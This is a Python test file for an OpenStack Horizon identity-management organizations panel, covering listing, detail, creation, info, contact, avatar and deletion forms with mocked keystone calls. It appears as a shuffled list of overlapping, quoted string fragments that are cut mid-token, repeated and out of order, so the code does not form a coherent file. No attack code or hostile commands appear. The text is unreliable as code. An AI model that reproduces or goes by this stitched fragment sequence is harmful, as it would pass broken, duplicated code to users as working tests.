'name', ['This", "self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], }", "= { 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"], } response = self.client.post(CREATE_URL, form_data)", "test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id,", "'InfoForm', 'orgID': project.id, 'name': '', 'description': '', 'city': '', } url = reverse('horizon:idm:organizations:info',", "} url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): #", "@unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data", "file except in compliance with the License. You may obtain # a copy", "args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)})", "updated_project = {\"name\": 'Updated organization', \"description\": 'updated organization', \"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest),", "import unittest from mox import IsA # noqa from django import http from", "= { 'method': 'CreateOrganizationForm', 'name': '', 'description': '', } response = self.client.post(CREATE_URL, form_data)", "\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express", "reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone:", "is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def", "# FIXME(garcianavalon) form contains the last form in forms, not the one #", "class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone: ( 'tenant_update', ),", "api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': '', 'website': '',", "noqa from django import http from django.core.urlresolvers import reverse from openstack_dashboard import api", "= reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project", "software # distributed under the License is distributed on an \"AS IS\" BASIS,", "api.keystone: ( 'tenant_delete', 'tenant_get', ), }) def test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project)", "'name', ['This field is required.']) self.assertFormError(response, 'form', 'description', ['This field is required.']) self.assertNoMessages()", "project._info[\"description\"], } response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data = { 'method':", "'tenant_get', ), }) def test_update_info(self): project = self.get_organization() updated_project = {\"name\": 'Updated organization',", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to", "url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post", "mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL +", "self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({", "= reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) # FIXME(garcianavalon) form contains the last", "distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY", "from django import http from django.core.urlresolvers import reverse from openstack_dashboard import api from", "UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_info(self): project = self.get_organization()", "self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone: ( 'tenant_update',", "test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] # Other organizations", "**updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"],", "self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project = self.get_organization() project_details = self._get_project_info(project)", "\\ import forms as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase):", "self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID': project.id, 'name': '', 'description': '', 'city':", "'<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = {", "the # License for the specific language governing permissions and limitations # under", "} response = self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertNoMessages()", "api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID':project.id, 'name':", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "}) def test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data =", "project_info = { \"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '',", "self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID': project.id, 'name': '',", "self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data = { 'method': 'CancelForm', 'orgID': project.id,", "You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "from django.core.urlresolvers import reverse from openstack_dashboard import api from openstack_dashboard.test import helpers as", "True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method':", "project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"],", "} url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone:", "'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info', args=[project.id]) response =", "no need to mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response", "self.mox.ReplayAll() form_data = { 'method': 'CancelForm', 'orgID': project.id, } url = reverse('horizon:idm:organizations:cancel', args=[project.id])", "def test_update_info(self): project = self.get_organization() updated_project = {\"name\": 'Updated organization', \"description\": 'updated organization',", "required by applicable law or agreed to in writing, software # distributed under", "Copyright (C) 2014 Universidad Politecnica de Madrid # # Licensed under the Apache", "api.keystone: ( 'tenant_get', 'user_list', ) }) def test_detail(self): project = self.get_organization() users =", "project = self.get_organization() mock_file = self.mox.CreateMock(file) updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project)", "applicable law or agreed to in writing, software # distributed under the License", "= self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url", "# https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone: ( 'tenant_update', ), }) def test_update_avatar(self): project", "tought for multiforms :( self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertFormError(response, 'form',", "**updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], } url =", "project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations = self.list_organizations() # Owned organizations", "# '/static/dashboard/img/logos/small/group.png', \"website\" : '' } return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def", "in compliance with the License. You may obtain # a copy of the", "from mox import IsA # noqa from django import http from django.core.urlresolvers import", "self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project =", "('tenant_get',)}) def test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method':", "or agreed to in writing, software # distributed under the License is distributed", "_get_project_info(self, project): project_info = { \"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper),", "'', \"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" : '' } return project_info class", "@test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = {", "project.id, 'name': '', 'description': '', 'city': '', } url = reverse('horizon:idm:organizations:info', args=[project.id]) response", "('tenant_get',)}) def test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method':", "admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages()", "\"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm',", "def test_update_avatar(self): project = self.get_organization() mock_file = self.mox.CreateMock(file) updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest),", "mockup # Only calls the default/first tab, no need to mock the others", "other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list', ) }) def test_detail(self):", "'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"], } response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self):", "'description': project._info[\"description\"], } response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data = {", "def test_create_organization_required_fields(self): form_data = { 'method': 'CreateOrganizationForm', 'name': '', 'description': '', } response", "'', } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) # FIXME(garcianavalon) form", "response = self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready')", "reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project =", "all_organizations = self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] # Other organizations mockup", "project = self.get_organization() updated_project = {\"name\": 'Updated organization', \"description\": 'updated organization', \"enabled\": True,", "reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete',", "License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS", "writing, software # distributed under the License is distributed on an \"AS IS\"", "contains the last form in forms, not the one # we want to", "INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info =", "{\"name\": 'Updated organization', \"description\": 'updated organization', \"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest),", "api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id]) response =", "'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm',", "form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': '', 'website': '', } url =", "others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data,", "= self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations =", "= self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get', ), })", "self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertFormError(response, 'form', 'description', ['This field is", "'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"],", "'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info', args=[project.id]) response", "idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import forms as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL =", "response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({", "multiforms :( self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertFormError(response, 'form', 'description', ['This", "'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response =", "need to mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response =", "self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"], } url", "specific language governing permissions and limitations # under the License. import unittest from", "from openstack_dashboard.dashboards.idm import tests as idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import forms as organizations_forms", "self.assertFormError(response, 'form', 'description', ['This field is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: (", "test_update_contact(self): project = self.get_organization() updated_project = { \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest),", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_contact(self): project = self.get_organization() updated_project =", "url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone:", "), }) def test_update_contact(self): project = self.get_organization() updated_project = { \"email\": '<EMAIL>', \"website\":", "Licensed under the Apache License, Version 2.0 (the \"License\"); you may # not", "tests as idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import forms as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index')", "test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data = { 'method':", "\"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" : '' } return project_info class IndexTests(BaseOrganizationsTests):", "from openstack_dashboard import api from openstack_dashboard.test import helpers as test from openstack_dashboard.dashboards.idm import", "= reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info = {", "reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info = { \"name\": unicode(project.name), \"description\": unicode(project.description),", "2.0 (the \"License\"); you may # not use this file except in compliance", "import helpers as test from openstack_dashboard.dashboards.idm import tests as idm_tests from openstack_dashboard.dashboards.idm.organizations \\", "'', } response = self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name', ['This field is required.'])", "response = self.client.post(url, form_data) # FIXME(garcianavalon) form contains the last form in forms,", "we want to test. The world is tought for multiforms :( self.assertFormError(response, 'form',", "# noqa from django import http from django.core.urlresolvers import reverse from openstack_dashboard import", "admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)})", "'ContactForm', 'orgID':project.id, 'email': '', 'website': '', } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response =", "self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id]) response", "self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations", "# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT", "project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID': project.id, 'name': '', 'description': '',", ":( self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertFormError(response, 'form', 'description', ['This field", "\"city\": '', \"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" : '' } return project_info", "self.mox.ReplayAll() response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests):", "License, Version 2.0 (the \"License\"); you may # not use this file except", "'city': '', } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) # FIXME(garcianavalon)", "'orgID': project.id, 'name': '', 'description': '', 'city': '', } url = reverse('horizon:idm:organizations:info', args=[project.id])", "\"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" :", "api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages()", "http from django.core.urlresolvers import reverse from openstack_dashboard import api from openstack_dashboard.test import helpers", "False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html')", "url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) # FIXME(garcianavalon) form contains the", "api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_info(self): project = self.get_organization() updated_project =", "self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: (", "'tenant_update', ), }) def test_update_avatar(self): project = self.get_organization() mock_file = self.mox.CreateMock(file) updated_project =", "'form', 'name', ['This field is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update',", "tab, no need to mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll()", "last form in forms, not the one # we want to test. The", "form in forms, not the one # we want to test. The world", "required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_contact(self):", "= { \"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\":", "def _get_project_info(self, project): project_info = { \"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\":", "form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get', ), }) def test_delete_organization(self):", "= self.get_organization() mock_file = self.mox.CreateMock(file) updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll()", "from openstack_dashboard.dashboards.idm.organizations \\ import forms as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create')", "self.mox.ReplayAll() form_data = { 'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], } url = reverse('horizon:idm:organizations:avatar',", "} response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data = { 'method': 'CreateOrganizationForm',", "def test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm',", "agreed to in writing, software # distributed under the License is distributed on", "project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], } url", "import api from openstack_dashboard.test import helpers as test from openstack_dashboard.dashboards.idm import tests as", "from openstack_dashboard.test import helpers as test from openstack_dashboard.dashboards.idm import tests as idm_tests from", "ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data =", "required.']) self.assertFormError(response, 'form', 'description', ['This field is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone:", "def test_detail(self): project = self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id,", "= self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self):", "'name': '', 'description': '', 'city': '', } url = reverse('horizon:idm:organizations:info', args=[project.id]) response =", "field is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), })", "def test_create_organization(self): project = self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data =", "# Unless required by applicable law or agreed to in writing, software #", "by applicable law or agreed to in writing, software # distributed under the", "( 'tenant_update', 'tenant_get', ), }) def test_update_info(self): project = self.get_organization() updated_project = {\"name\":", "class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list', ) }) def test_detail(self): project =", "under the License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info', args=[project.id])", "self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest),", "form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone: (", "self.mox.CreateMock(file) updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method':", "= self.client.post(url, form_data) # FIXME(garcianavalon) form contains the last form in forms, not", "{ 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"], } response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response)", "self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_info(self): project", "world is tought for multiforms :( self.assertFormError(response, 'form', 'name', ['This field is required.'])", "= self.list_organizations() # Owned organizations mockup # Only calls the default/first tab, no", "'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url,", "updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data)", "class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations = self.list_organizations() # Owned organizations mockup", "'' } return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations = self.list_organizations()", "# # Licensed under the Apache License, Version 2.0 (the \"License\"); you may", "'website': updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone:", "self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': '', 'website': '', } url", "{ 'method': 'InfoForm', 'orgID': project.id, 'name': '', 'description': '', 'city': '', } url", "}) def test_update_avatar(self): project = self.get_organization() mock_file = self.mox.CreateMock(file) updated_project = {\"image\": 'image',}", "except in compliance with the License. You may obtain # a copy of", "'name', ['This field is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get',", "'tenant_delete', 'tenant_get', ), }) def test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None)", "# 